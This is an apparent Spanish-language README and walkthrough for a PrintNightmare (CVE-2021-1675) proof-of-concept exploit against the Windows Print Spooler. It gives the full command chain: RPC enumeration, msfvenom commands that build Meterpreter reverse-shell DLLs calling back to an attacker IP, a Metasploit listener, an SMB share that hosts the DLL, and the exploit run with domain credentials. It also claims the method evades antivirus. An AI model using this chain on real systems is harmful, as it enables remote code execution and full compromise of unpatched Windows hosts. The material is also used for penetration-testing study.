dll00p/cve-2021-1675Exploit de prueba de concepto para CVE-2021-1675 (PrintNightmare) dirigido al servicio Print Spooler de Windows. Usa un DLL malicioso generado por msfvenom entregado a través de SMB para lograr ejecución remota de código y una reverse shell de Meterpreter.
El Administrador de colas de impresión (Printer Spooler) es un servicio de Windows que gestiona las colas de impresión. Recibe trabajos enviados por el usuario, los convierte a un formato que la impresora entiende y los envía cuando la impresora está disponible. Se ejecuta como un servicio del sistema (spoolsv.exe) con altos privilegios, lo que lo convierte en un objetivo frecuente de ataques, como la vulnerabilidad PrintNightmare.
Cuando un atacante intenta explotar el spooler de impresión de forma remota, para comprobar si un host es vulnerable a la vulnerabilidad PrintNightmare, podríamos usar una herramienta llamada rpcdump.py que forma parte del paquete impacket, un conjunto de herramientas ampliamente utilizado en el entorno de pruebas de penetración.
❯ rpcdump.py @10.10.188.66 | egrep 'MS-RPRN|MS-PAR'
Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol
Protocol: [MS-RPRN]: Print System Remote Protocol
Para explotar esta vulnerabilidad, el método de distribución de este exploit es un DLL malicioso. Este método, también conocido como explotación "sin archivos" (fileless), nos permite eludir la mayoría de las protecciones del sistema, como el software antivirus. En este ataque, engañaremos al servicio de spooler de impresión para que instale un nuevo controlador desde una ruta UNC y lo cargue. En nuestro caso, este es el DLL malicioso, que nos proporcionaría una shell inversa a la computadora atacante. Para crear el DLL malicioso, usaré "msfvenom" y, dependiendo de la arquitectura en la que estemos, integraremos un payload de Windows x64 o x86 en el DLL, proporcionando el host local y el puerto local, donde iniciaremos un listener para una devolución de llamada del DLL. Puedes encontrar la dirección IP de tu máquina escribiendo "ifconfig". Usaremos el siguiente comando para crear nuestro DLL malicioso.
❯ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 510 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x64.dll
Y si en otro caso nuestra arquitectura fuera de 32 bits usaríamos este payload
❯ msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=443 -f dll -o /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of dll file: 9216 bytes
Saved as: /home/ghost/Pentesting/Print/PrintMalicious_x86.dll
Una vez que hemos creado nuestro DLL malicioso, a continuación tenemos que iniciar nuestro Listener en el "Metasploit Framework" para obtener la shell 'Meterpreter' cuando el DLL se ejecute en el sistema. Para iniciar el Listener, sigue los pasos a continuación. Al final, escribe 'exploit -j' para iniciar el listener en segundo plano.
msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 10.10.10.10
LHOST => 10.10.10.10
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.10.10.10:443
Ahora que hemos iniciado nuestro receptor, iniciamos nuestro servidor SMB para alojar el archivo DLL malicioso. Ve a la ruta del sistema donde guardamos el archivo DLL e ingresa el siguiente comando para iniciar el servidor SMB. Antes de hacer eso, asegúrate de tener "Impacket" instalado en tu computadora. Impacket es una colección de módulos de código abierto escritos en Python, y uno de ellos es smbserver.py, que es el que vamos a usar en este caso. Para iniciar el script "smbserver.py" y alojar el archivo DLL malicioso, ingresa el siguiente comando en el directorio donde lo guardamos, en mi caso /home/ghost/Pentesting/Printer/.
❯ smbserver.py share . -smb2support
Impacket v0.9.24.dev1+20210704.162046.29ad5792 - Copyright 2001 SecureAuth Corporation
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
Genial, ahora estamos listos para comenzar el proceso de explotación utilizando la prueba de concepto (POC) de CVE-2021–1675. Para ello, proporcionamos el controlador de dominio y las credenciales de usuario con la ruta UNC al DLL malicioso alojado en nuestro sistema.
❯ python3 CVE-2021-1675.py NetworkAD-EDU.ENGdepartment.local/jjsmith:[email protected] '\\\\10.10.10.10\\share\\PrintMalicious_x64.dll'
[*] Connecting to ncacn_np:10.10.220.93[\\PIPE\\spoolss]
[+] Bind OK
[+] pDriverPath Found C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL
[*] Executing \\??\\UNC\\10.10.10.10\\share\\PrintMalicious_x64.dll
[*] Try 1...
[*] Stage0: 0
[*] Try 2...
[*] Stage0: 0
[*] Try 3...
Después de unos segundos de ejecutar el script de explotación, si volvemos al listener que iniciamos en 'Metasploit', este muestra que ha abierto una sesión de 'Meterpreter', por lo que ahora podemos interactuar con la máquina víctima usando la 'shell de Meterpreter'.